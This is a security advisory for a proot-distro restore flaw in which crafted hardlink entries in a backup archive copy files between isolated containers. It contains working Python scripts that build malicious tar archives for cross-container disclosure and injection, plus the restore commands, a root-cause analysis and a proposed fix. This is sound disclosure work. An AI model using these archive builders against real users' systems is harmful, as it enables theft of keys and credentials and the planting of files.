proot-distro has a Container Isolation Bypass via Crafted Restore Archive

Overview

Affected Component

• Package: proot-distro
• Affected command: restore
• Attack surface: Host-side Termux CLI processing a user-supplied backup archive
• Vulnerability type: Container Isolation Bypass / Cross-Container Read and Write

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Affected Versions

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Summary

When restoring a crafted backup archive, proot-distro restore accepts hardlink entries whose source path references a different installed container.

The restore logic resolves the hardlink source from the archive's linkname field and copies the referenced file into the container identified by the archive entry.

Although path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container.

As a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection.

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Proof of Concept #1 — Cross-Container File Disclosure

All testing was performed using self-owned containers and harmless marker data only.

Step 1 — Create a victim container and marker file

proot-distro install alpine --name victim

proot-distro login victim -- sh -lc '
mkdir -p /root
printf "PROOF-12345\n" > /root/proof.txt
'

Verification:

proot-distro login victim -- cat /root/proof.txt

PROOF-12345

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Step 2 — Create an attacker container

proot-distro install alpine --name attacker

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Step 3 — Build a crafted archive

python3 -c '
import tarfile

tf = tarfile.open("malicious.tar", "w")

d = tarfile.TarInfo("attacker/rootfs/exfil")
d.type = tarfile.DIRTYPE
d.mode = 0o755
tf.addfile(d)

h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key")
h.type = tarfile.LNKTYPE
h.linkname = "victim/rootfs/root/proof.txt"
h.mode = 0o600
tf.addfile(h)

tf.close()
'

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Step 4 — Restore the crafted archive

proot-distro restore ./malicious.tar

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Step 5 — Read the copied file from the attacker container

proot-distro run attacker -- cat /exfil/stolen_key

Observed output:

PROOF-12345

This demonstrates that data originating from the victim container was copied into the attacker container solely through a crafted restore archive.

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Proof of Concept #2 — Cross-Container File Injection

Step 1 — Create attacker-controlled source data

proot-distro install alpine --name attacker

proot-distro login attacker -- sh -lc '
mkdir -p /root
printf "ATTACKER_DATA\n" > /root/source.txt
'

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Step 2 — Create a victim container

proot-distro install alpine --name victim

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Step 3 — Build a crafted archive

python3 -c '
import tarfile

tf = tarfile.open("write_test.tar", "w")

h = tarfile.TarInfo(
    "victim/rootfs/root/copied_from_attacker.txt"
)

h.type = tarfile.LNKTYPE
h.linkname = "attacker/rootfs/root/source.txt"
h.mode = 0o600

tf.addfile(h)
tf.close()
'

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Step 4 — Restore the crafted archive

proot-distro restore ./write_test.tar

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Step 5 — Verify file injection into the victim container

cat "$PREFIX/var/lib/proot-distro/containers/victim/rootfs/root/copied_from_attacker.txt"

Observed output:

ATTACKER_DATA

This demonstrates that attacker-controlled data can be copied into a different installed container solely through a crafted restore archive.

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Impact

An attacker who can convince a user to restore a crafted backup archive can bypass the expected isolation boundary between installed proot-distro containers.

Observed impacts include:

• Disclosure of files from other installed containers.
• Injection of attacker-controlled files into other installed containers.
• Exposure of SSH private keys.
• Exposure of API credentials.
• Exposure of configuration files containing secrets.
• Exposure of application databases stored inside container rootfs directories.

The issue does not escape the proot-distro containers directory but allows archive-controlled movement of data across otherwise isolated containers.

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Root Cause

During hardlink processing, the restore implementation resolves the source container from the archive's linkname field.

The resolved path is validated to remain inside a container directory, but the implementation does not verify that the hardlink source container is the same container currently being restored.

As a result, archive-controlled metadata determines which installed container is used as the source of the copy operation.

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Proposed Fix

link_container, link_src = _dest_path(member.linkname)

if link_src is None:
    continue

if link_container != container_name:
    continue

link_src = _safe_dest(
    link_container,
    link_src,
    follow_final=True
)

This preserves existing path traversal protections while restoring the expected isolation boundary between containers.

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Additional Notes

• Issue reproduced on the official Termux package repository.
• No root access was used.
• No third-party data was accessed.
• Testing used only self-owned containers and harmless marker data.
• Cross-container disclosure reproduced using the marker value PROOF-12345.
• Cross-container file injection reproduced using the marker value ATTACKER_DATA.

Affected packages

• proot-distro <= 5.1.5

Remediation

Upgrade to a patched release:

• proot-distro 5.1.6